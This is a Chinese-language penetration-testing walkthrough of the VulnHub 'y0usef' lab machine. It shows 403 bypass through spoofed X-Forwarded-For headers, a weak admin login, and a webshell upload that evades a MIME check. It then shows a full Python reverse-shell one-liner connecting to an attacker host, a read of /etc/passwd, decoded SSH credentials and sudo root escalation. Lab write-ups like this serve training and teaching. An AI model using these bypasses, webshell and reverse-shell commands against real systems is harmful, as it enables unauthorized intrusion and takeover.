靶机介绍
1)靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova
2)靶机难度:低(低难度是指那些出现概率高、研究较为充分、学习资料丰富、需要熟练掌握并快速发现的漏洞类型。相比于高难度漏洞,低难度漏洞的威胁等级往往更高,因此每个渗透测试者都必须精通熟练掌握)
3)打靶目标: 取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、指纹探测、弱口令、403 Bypass、文件上传及绕过、base64编码、本地提权
5)本次打靶过程主要说明文件上传和403绕过漏洞的利用方法
打靶过程
1)主机发现
# arp-scan -l
2)对目标主机进行全端口扫描
# nmap -p- 192.168.56.115
3)对目标主机开发的端口进行服务版本扫描
# nmap -p22,80 -sV -sC 192.168.56.115
4)对目标主机的80端口进行直接访问,只返回简单页面,手动对站点进行信息搜集
http://192.168.56.115/http://192.168.56.115/admin #404http://192.168.56.115/rebots.txt#404http://192.168.56.115/login #404
①访问首页,返回页面服下
②查看首页源代码,也未发现有价值内容(如有提示的注释信息、调用后端API的接口等)
5)通过whatweb小工具,查看目标服务器端的应用系统技术栈、架构等。
# whatweb http://192.168.56.115/
上述信息显示:服务器使用apache中间件,使用了Bootstrap前端框架、使用了Query库,服务器端使用的是PHP的开发语言环境
6)针对目标服务器上隐藏的目录、文件进行爬取。爬取结果中出现了大量403的状态码(403表示拒绝访问,大概率在目标系统上存在扫描到的文件,但是因为服务器端权限限制的原因,使得未经身份认证的用户,无法直接请求到存在于目标靶机的文件)
# dirsearch -u http://192.168.56.115/
对于上述扫描出的301跳转,直接访问也显示了forbidden,并且返回响应码也为403
补充:出现上述提示可以说明:客户端所请求的文件,在目标服务器上是存在的,但是因为开发人员做了相应的权限设置或者身份验证等安全措施。当渗透测试过程中,当服务端返回403错误,可以进行403绕过测试(bypass)。常见403错误bypass方法
①使用旁站的方式尝试绕过403的权限限制:先通过信息搜集的方式,收集到目标企业可能使用的abc.com域下的其他主机名。如果目标系统的开发人员有可能只针对host头部为www.abc.com的请求做了权限限制,但是对其他该域之下的主机名访问相同的URL时,有可能目标服务器会相应正常的200状态码。
#RequestGET /auth/login HTTP/1.1Host:www.abc.com#ResponseHTTP/1.1 403 Forbidden#RequestGET /auth/login HTTP/1.1Host:$xxx$.abc.com#ResponseHTTP/1.1 200 OK
②通过覆盖URL的方式进行403的绕过:因为有很多的web应用的目标程序,在进行权限控制时,只针对GET的具体的地址时,才进行地址的检查和设置。但是第二种方式通过增加X-Original-URL头部的方式最终访问到了目标地址,但是GET参数却是/。如果目标系统使用就是基于URL路径,进行权限的限制,那么通过URL覆盖的方式即可进而绕过403的权限限制
#RequestGET /auth/login HTTP/1.1#ResponseHTTP/1.1 403 Forbidden#RequestGET /auth/login HTTP/1.1X-Original-URL: /auth/login X-Rewrite-URL: /auth/login #URL重写ReFerer:https://xxx/auth/login #基于ReFerer头部验证#ResponseHTTP/1.1 200 OK
③通过一下X开头的一些列头部,基本都是非标准的HTTP头部,这些头部一般都代表,当访问到目标服务器之前,经过了几个反向的代理服务器的代理请求的记录 。通过对这些头部的修改,来欺骗服务器,本次的http请求是由代理服务器本身发起的
#RequestGET / HTTP/1.1Host:192.168.56.114X-Originating-IP:127.0.0.1X-Remote-IP:127.0.0.1X-Forwarded-For:127.0.0.1#ResponseHTTP/1.1 200 OK
7)通过当前靶机,按照上述方法按个尝试发现,只有通过设置X-Forwarded-For:127.0.0.1头部是有效的,返回的状态码变为了200
http://192.168.56.115/adminstration/X-Forwarded-For:127.0.0.1
添加XFF头部后,返回页面如下
8)按照上述登录页面,测试是否存在弱口令:测试发现,当用户名和密码均输入admin时,可直接登入系统后台。但登陆时,为了满足权限验证,需要在所有的请求数据包中,都增加X-Forwarded-For:127.0.0.1头部信息。
后台页面如下:
9)挨个对页面中的链接进行测试,发现了文件上传的页面
补充:文件上传绕过常见方法
①修改上传文件扩展名
②修改文件MIME类型
③在数据段添加真实的图片的头部信息,再在最后的位置添加php的webshell内容(即图片马)
10)本次靶机文件上传绕过测试中,发现可以通过修改MIME类型的方式进行webshell上传,上传数据包中同样要添加XFF字段内容。
#webshell脚本内容
根据返回的信息的进行访问,利用上传的webshell执行系统命令
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=ls
11)反弹shell,突破系统边界
①利用python执行反弹shell,先判断服务器端有无python:根据返回结果显示,服务器端存在python
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=which python
②通过python代码反弹shell
#反弹shell代码:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'#浏览器访问http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' #kali主机监听 nc -lvvp 4444
成功获取到shell
12)获取到shell后,进行信息搜集:查看用户文件中支持登录的账号,发现了一个yousef用户
$ cat /etc/passwd|grep /bin/bash
13)进入home目录后,发现存在一个flag文件,但其内容为base64编码
www-data@yousef-VirtualBox:/$ cd /home www-data@yousef-VirtualBox:/home$ lsuser.txt yousefwww-data@yousef-VirtualBox:/home$ cat user.txtc3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
14)对base64编码进行解码发现了一个ssh的用户名和密码
15)通过上述账号,直接ssh登录目标服务器
# ssh yousef@192.168.56.115
16)通过查看发现该用户存在sudo权限配置,且yousef用户可以运行系统上的所有命令。直接通过sudo -s将该用户提升至root用户,获取到flag
yousef@yousef-VirtualBox:~$ sudo -lyousef@yousef-VirtualBox:~$ sudo -sroot@yousef-VirtualBox:~# cd /home/root@yousef-VirtualBox:/home# cat user.txt c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=